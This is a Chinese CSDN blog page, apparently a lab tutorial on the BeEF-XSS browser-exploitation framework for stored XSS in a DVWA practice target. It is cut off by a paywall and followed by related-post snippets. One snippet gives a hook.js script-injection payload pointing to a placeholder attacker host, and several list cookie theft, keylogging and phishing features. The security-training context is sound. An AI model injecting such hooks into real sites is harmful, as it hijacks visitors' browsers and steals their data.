kali-beef工具（xss-stored）

已于 2022-09-07 16:58:08 修改
阅读量514 收藏
点赞数
分类专栏： 网安实训 文章标签： xss javascript 前端
于 2022-09-06 22:48:09 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_52062236/article/details/126735039
版权
本文介绍了在Kali Linux中使用BeeF-xss工具进行XSS（Stored）攻击的实验，包括安装配置BeeF，利用BeeF的JavaScript payload控制目标浏览器，以及在DVWA靶场中的应用示例。BeeF是一种C/S结构的Web框架攻击平台，允许通过XSS漏洞获取信息和扫描内网。
摘要由CSDN通过智能技术生成

实验环境：kali2022
工具：beef-xss(没找到beef，可能其他版本的kali安装了)

BeeF是前欧美最流行的web框架攻击平台，Beef有很多好使的payload。
例如，通过XSS这个简单的漏洞，BeeF可以通过一段编制好的javascript控制目标主机的浏览器，通过浏览器拿到各种信息并且扫描内网信息，同时能够配合metasploit进一步渗透主机，强大的有些吓人。

beef也是属于c/s结构，具体看图

zombie（僵尸）即受害的浏览器。zombie是被hook（勾连）的，如果浏览器访问了有勾子的页面(植入了hook.js)，就会被hook，勾连的浏览器会执行初始代码返回一些信息，接着zombie会每隔一段时间 （默认为1秒）就会向BeEF服务器发送一个请求，询问是否有新的代码需要执行。
BeEF服务器本质上就像一个Web应用，被分为前端UI 和后端。前端会轮询后端是否有新的数据需要更新，同时前端也可以向后端发送指示， BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。

安装配置

  1. 安装 beef: apt-get install beef-xss
  2. 配置beef : vi /usr/share/beef-xss/config.yaml
最低0.47元/天 解锁文章
Vin0sen
关注
专栏目录
一个好玩的工具BeEF介绍
luluoluoa的博客
05-07 1868
beef BeEF-XSS是一款非常强大的web框架攻击平台，集成了许多payload，可以实现许多功能 BeEF-XSS可以说是最强大的XSS漏洞利用工具，可以收集浏览器信息、键盘记录、社会工程等 总之就是使用beef这个工具来利用xss漏洞的 beef安装 我在kail虚拟机上安装的，很简单的在终端输入一句命令sudo apt setup beef-xss，然后安装成功设置密码就行了，因为之后在浏览器打开需要登陆，登陆名beef，密码就是安装时设置的那个 beef打开 在终端输入命令beef
Beef工具使用
热门推荐
wo41ge的博客
02-22 1万+
今天写一下这个工具Beef 我这里用kali 启动Apache：service apache2 start 然后安装Beef工具 我用脚本安装 命令： apt-get update apt-get install beef-xss apt-get install beef-xss beef-xss 启动之后 Hook: <script src="http://<IP>:3000/hook.js"></script> 会弹出来beef的登录窗口 这边我们在看一下bee
beef-xss详细教程(一文带你学会beef) - Kali下安装beef - beef-xss反射型，储存型利用 - beef实现Cookie会话劫持 - 键盘监听 - 浏览器弹窗，重定向等
最新发布
wangluoanquan111的博客
08-20 811
✅作者简介：CSDN内容合伙人、信息安全专业在校大学生🏆🔥系列专栏 ：XSS漏洞应用-Beef💬舞台再大，你不上台，永远是个观众。平台再好，你不参与，永远是局外人。能力再大，你不行动，只能看别人成功！没有人会关心你付出过多少努力，撑得累不累，摔得痛不痛，他们只会看你最后站在什么位置，然后羡慕或鄙夷。
Kali beef-xss实现Xss详细教程。
sunwanfulove的博客
09-28 3539
Kali beef-xss实现Xss详细教程。
XSS 工具之 beef
weixin_47306547的博客
09-25 786
beef介绍 XSS 漏洞的利用平台，kali 自带 beef 的启动 Kali 中 工具目录 /usr/share/beef-xss 配置文件 config.yaml 启动 beef 工具的方法 1）beef-xss 2） /usr/share/beef-xss/beef 注：在启动前需要修改默认用户...
渗透测试工具：跨站脚本漏洞检测---Xsser
gao646467783的博客
01-27 3738
文章目录简介:用法：（一）、Options:（二）、特别的用法:（三）、选择目标:（四）、 现测HTTP/HTTPS的连接类型:（五）、 配置请求:（六）、 系统验校器:（七）、 选择攻击向量(s):（八）、选择Bypasser(s):（九）、 特殊的技巧:（十）、 Select Final injection(s):（十一）、 Special Final injection(s):（十二）、 混杂模式:（十三）、 Reporting:（十四）、Miscellaneous: 简介: 跨站脚本者是一个自动框架
linux-kali利用BeEF 执行 XSS 攻击
LCH14777475118的博客
06-26 330
文件，在文件里面找到这两串代码。软件（下载最新版的就可以），复制为一个副本，将副本修改为。安装目录中启动它（注意：新的。软件可以用来进行站点搭建。就勾上了靶机所在的浏览器了。，双击从记事本里面打开。，或者可以在配置文件。
Kali中Beef的使用教程
weixin_43287317的博客
04-02 5352
Kali中Beef的使用教程
利用BeEF执行XSS攻击
m0_70185580的博客
05-31 565
XSS攻击（Cross-Site Scripting）是指攻击者在网页中注入恶意脚本代码，使受害者在浏览器中运行该脚本，从而达到攻击目的。BeEF是一种利用浏览器漏洞的攻击工具，可以在浏览器端运行恶意脚本。当攻击成功后，可以在BeEF的控制面板中查看受害者的浏览器信息，并控制其浏览器。这段代码会将BeEF的hook.js文件注入到目标网站中，并启动BeEF的hook服务。接下来，需要获取要攻击的网站的URL。当受害者在浏览器中打开包含恶意脚本的页面时，BeEF就会启动并开始执行攻击。
跨站脚本攻击--利用BeEF 执行 XSS 攻击
weixin_69826880的博客
06-26 884
跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。靶场：kali（攻击者），32位win7（被攻击者）攻击环境：kali安装BEEF，32位win7站点搭建BeEF是日前最强大的浏览器开源渗透测试框架,通过X55漏洞配合JS脚本和 Metasploit进行渗透;BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单。
Web安全 XSS漏洞的利用（Beef工具）（点击链接就被黑的技术.）
网络安全领域___专研者.
03-18 4213
XSS漏洞的 概括： XSS又叫CSS（Cross Site Script）跨站脚本攻击，指的是攻击者在Web页面，插入恶意JS代码，当用户浏览该页之时，嵌入其中JS代码就会被执行，从而达到攻击的目的.（包含：收集用户的Cookie，添加账号，修改密码，提高用户权限等等.）
kali工具之Beef
m0_65129142的博客
12-22 877
简介 Browser Exploitation Framework(BeEF) BeEF是日前最强大的浏览器开源渗透测试框架,通过X55漏洞配合JS脚本和 Metasploit进行渗透; BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单 主要功能 信息收集: 1.网络发现 2.主机信息 3.Cookie获取 4.会话劫持 5.键盘记录 6.插件信息 持久化控制: 1.确认弹框 2.小窗口 3.中间人 社会工程: 1.点击劫持 2.弹窗告警 3.虚假页面 4.钓鱼页面 渗透攻击: 1.内网渗透
Kali [BeEF-XSS]XSS利用工具
weixin_45253622的博客
03-29 4406
BeEF-XSS的使用 BEEF (The Browser Exploitation Framework):一款浏览器攻击框架，用Ruby语言开发的，Kali中默认安装的一个模块，用于实现对XSS漏洞的攻击和利用。 安装 linux安装 apt-get update apt-get install beef-xss 启动Apache并打开beef service apache2 start beef-xss #打开 打开beef需要设置密码，默认密码和用户名都为beef 第二个框是示例payloa
XSS漏洞利用工具BeEF
RockHan
11-06 760
BeEF是Browser Exploitation Framework的缩写。随着人们越来越多地关注针对包括移动客户端在内的客户端的网络传播攻击，BeEF使专业的渗透测试人员可以使用客户端攻击向量来评估目标环境的实际安全状况。与其他安全框架不同，BeEF超越了硬化的网络边界和客户端系统，并在一个门户开放的环境中检查可利用性。BeEF将钩挂一个或多个Web浏览器，并将其用作启动定向命令模块的滩头堡，...
webwell安全工具-BeEF
凯歌响起的博客
09-05 1952
​ BeEF，全称The Browser Exploitation Framework，是一款针对浏览器的渗透测试工具。用Ruby语言开发的，Kali中默认安装的一个模块，用于实现对XSS漏洞的攻击和利用。​ BeEF主要是往网页中插入一段名为hook.js的JS脚本代码，如果浏览器访问了有hook.js(钩子)的页面，就会被hook(勾住)，勾连的浏览器会执行初始代码返回一些信息，接着目标主机会每隔一段时间（默认为1秒）就会向BeEF服务器发送一个请求，询问是否有新的代码需要执行。
神器 | kali工具之Beef
南迪叶先森
07-06 1059
公粽号：黒掌 一个专注于分享网络安全、黑客圈热点、黑客工具技术区博主！ 声明：本工具仅供技术分享、交流讨论，严禁用于非法用途。 简介 Browser Exploitation Framework(BeEF) BeEF是日前最强大的浏览器开源渗透测试框架,通过X55漏洞配合JS脚本和 Metasploit进行渗透; BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单 http://beefproject.com 主要功能 信息收集: 1.网络发现 2.主机信息 3.Cookie获取 4..
Web安全和渗透测试有什么关系？
Python_0011的博客
03-31 1071
做渗透测试的一个环节就是测试web安全，需要明白漏洞产生原理，通过信息收集互联网暴露面，进行漏洞扫描，漏洞利用，必要时进行脚本自编写和手工测试，力求挖出目标存在的漏洞并提出整改建议，当然如果技术再精一些，还要学习内网渗透（工作组和域环境），白盒审计，app，小程序渗透那些了......可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。总之，web安全包含于渗透测试，但不是渗透测试的全部。
kali渗透测试与教学笔记4：XSS
lm19770429的专栏
04-21 304
靶机应用地址：http://10.10.10.129/mutillidae/index.php 想成功执行一个XSS有2步：攻击者数据没有被过滤掉、web应用返回的数据没有经过编码 因此一个安全的web应用要对特殊字符进行编码，最好是进行十六进制编码。 OWASP给出了防止XSS指南。国外网站不好访问，这里提供CSDN的两个地址： https://blog.csdn.net/aerchi/...
web安全之kali-xss-beef剑心哥哥
12-24
结合使用Kali Linux、XSS和BeEF可以帮助“剑心哥哥”对网站进行全面的安全检测，并了解和利用XSS漏洞来展示其危害性。同时，也需要“剑心哥哥”具备一定的伦理和法律意识，不能利用这些工具进行非法攻击和侵犯他人...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值